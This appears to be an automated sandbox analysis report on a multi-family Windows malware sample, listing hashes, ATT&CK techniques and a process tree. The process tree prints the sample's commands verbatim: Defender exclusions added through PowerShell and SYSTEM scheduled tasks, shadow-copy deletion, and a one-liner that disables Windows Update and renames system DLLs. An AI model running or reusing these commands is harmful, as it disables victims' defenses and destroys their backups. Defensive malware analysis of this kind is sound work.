ae0463f6de77700cbd900d0b9bd5cc59ebf3ba7fce2558504f590f38ef18cb7c

Analysis

max time kernel
140s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/10/2026, 07:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Size 30.0MB
Sample261021-jjrelaef27
SHA256 ae0463f6de77700cbd900d0b9bd5cc59ebf3ba7fce2558504f590f38ef18cb7c
MD5 84bb9e2ddf23fe298b009b549a8e662b
SHA1 e3919176815af60bf79f6b2632db12c06b1817c6
SHA512 651b5230c375c87fe9e0ab76b98d225c9c05bc1936f0db88996926222a9b182a69e3e9a5f77648b90eb50247d7ede1acd757410547f209db66ab62260904e6f1
SSDEEP 49152:185t1a8IFXTDqgBEA9xzJkW40bkSnY53wfC8oWz2rf8oW7O6CcxuLxxuLexuLUBb:GlaNCgBxzWWFA3w7Nz2rf8ogCVbojaEy
TLSH
T11567D68ABB01DDC3F44A9270D45A97E16372ED71CFA1871721A57F157FBE2888ED2088
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\6Yhgaq = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/4644-717-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 7 IoCs

resource	yara_rule
behavioral2/memory/4644-688-0x00000000032D0000-0x0000000003AAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4644-692-0x00000000032D0000-0x0000000003AAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4644-711-0x00000000032D0000-0x0000000003AAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4644-722-0x00000000032D0000-0x0000000003AAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4644-739-0x00000000032D0000-0x0000000003AAD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2400-745-0x00000000033A0000-0x0000000003B7D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5836-764-0x0000000003A90000-0x000000000426D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3236	powershell.exe
1576	powershell.exe

Possible privilege escalation attempt 21 IoCs

exploit

pid	Process
5180	icacls.exe
4376	icacls.exe
3252	icacls.exe
1708	icacls.exe
5868	icacls.exe
248	icacls.exe
2172	icacls.exe
2824	icacls.exe
4440	icacls.exe
2004	icacls.exe
3156	takeown.exe
2668	icacls.exe
3384	icacls.exe
1572	icacls.exe
4564	icacls.exe
4484	icacls.exe
2328	icacls.exe
1436	icacls.exe
3768	takeown.exe
5592	icacls.exe
4508	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
5172	gxGoag.exe
1136	gxGoag.exe

Loads dropped DLL 2 IoCs

pid	Process
5172	gxGoag.exe
1136	gxGoag.exe

Modifies file permissions 1 TTPs 21 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4508	icacls.exe
5868	icacls.exe
2004	icacls.exe
1572	icacls.exe
2172	icacls.exe
2824	icacls.exe
4376	icacls.exe
1708	icacls.exe
3384	icacls.exe
5592	icacls.exe
248	icacls.exe
2328	icacls.exe
3156	takeown.exe
4564	icacls.exe
4484	icacls.exe
5180	icacls.exe
1436	icacls.exe
3252	icacls.exe
4440	icacls.exe
2668	icacls.exe
3768	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6Yhgaq\\gxGoag.exe\""	gxGoag.exe

Indicator Removal: Clear Persistence 1 TTPs 9 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2276	cmd.exe
1208	cmd.exe
2960	cmd.exe
4100	cmd.exe
6116	cmd.exe
1632	cmd.exe
1636	cmd.exe
4432	cmd.exe
5968	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	gxGoag.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\vD2mL9\image.png	gxGoag.exe
File opened for modification	C:\Program Files (x86)\vD2mL9\thumbs.db	gxGoag.exe
File opened for modification	C:\Program Files (x86)\vD2mL9	gxGoag.exe
File opened for modification	C:\Program Files (x86)\vD2mL9\vD2mL9.exe	gxGoag.exe
File created	C:\Program Files (x86)\vD2mL9\vD2mL9.exe	gxGoag.exe
File created	C:\Program Files (x86)\vD2mL9\XPSPLOG.dll	gxGoag.exe
File created	C:\Program Files (x86)\vD2mL9\image.png	gxGoag.exe
File created	C:\Program Files (x86)\vD2mL9\thumbs.db	gxGoag.exe
File opened for modification	C:\Program Files (x86)\vD2mL9\XPSPLOG.dll	gxGoag.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
708	sc.exe
704	sc.exe
1976	sc.exe
1164	sc.exe
632	sc.exe
3144	sc.exe
1688	sc.exe
2700	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1512	cmd.exe
3508	cmd.exe
4632	cmd.exe
2532	cmd.exe
4176	cmd.exe
3672	cmd.exe
2640	cmd.exe
3052	cmd.exe
2760	cmd.exe
1048	cmd.exe
2708	cmd.exe
716	cmd.exe
3408	cmd.exe
1704	cmd.exe
3732	cmd.exe
2912	cmd.exe
2000	cmd.exe
3188	cmd.exe
4472	cmd.exe
1368	cmd.exe
3120	cmd.exe
5436	cmd.exe
4984	cmd.exe
5992	cmd.exe
3884	cmd.exe
4740	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	gxGoag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	gxGoag.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4620	schtasks.exe
1768	schtasks.exe
1236	schtasks.exe
1500	schtasks.exe
2504	schtasks.exe
3812	schtasks.exe
5068	schtasks.exe
3420	schtasks.exe
816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4296	2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe
5172	gxGoag.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5172 wrote to memory of 1576	5172	gxGoag.exe	92
PID 5172 wrote to memory of 2276	5172	gxGoag.exe	95
PID 2276 wrote to memory of 1768	2276	cmd.exe	97
PID 2276 wrote to memory of 4316	2276	cmd.exe	99
PID 5172 wrote to memory of 6116	5172	gxGoag.exe	100
PID 2276 wrote to memory of 1280	2276	cmd.exe	104
PID 6116 wrote to memory of 3420	6116	cmd.exe	105
PID 5172 wrote to memory of 1632	5172	gxGoag.exe	106
PID 6116 wrote to memory of 2972	6116	cmd.exe	108
PID 1632 wrote to memory of 816	1632	cmd.exe	109
PID 6116 wrote to memory of 1092	6116	cmd.exe	111
PID 1632 wrote to memory of 1404	1632	cmd.exe	112
PID 5172 wrote to memory of 1636	5172	gxGoag.exe	113
PID 1632 wrote to memory of 4948	1632	cmd.exe	115
PID 1636 wrote to memory of 4620	1636	cmd.exe	116
PID 1636 wrote to memory of 2864	1636	cmd.exe	117
PID 5172 wrote to memory of 1208	5172	gxGoag.exe	122
PID 1636 wrote to memory of 2848	1636	cmd.exe	124
PID 1208 wrote to memory of 1236	1208	cmd.exe	125
PID 1208 wrote to memory of 4988	1208	cmd.exe	126
PID 1208 wrote to memory of 1100	1208	cmd.exe	128
PID 5992 wrote to memory of 3960	5992	cmd.exe	130
PID 2640 wrote to memory of 2908	2640	cmd.exe	131
PID 3672 wrote to memory of 5020	3672	cmd.exe	133
PID 3052 wrote to memory of 2000	3052	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-21_84bb9e2ddf23fe298b009b549a8e662b_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4296

C:\Users\Public\6Yhgaq\gxGoag.exe
"C:\Users\Public\6Yhgaq\gxGoag.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6Yhgaq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6Yhgaq\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1404
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1100
- C:\Program Files (x86)\vD2mL9\vD2mL9.exe
  "C:\Program Files (x86)\vD2mL9\vD2mL9.exe"
  2⤵
  PID:4644
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vD2mL9" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vD2mL9" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:248
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3884
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\vD2mL9\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4432
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\vD2mL9\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1500
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4688
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
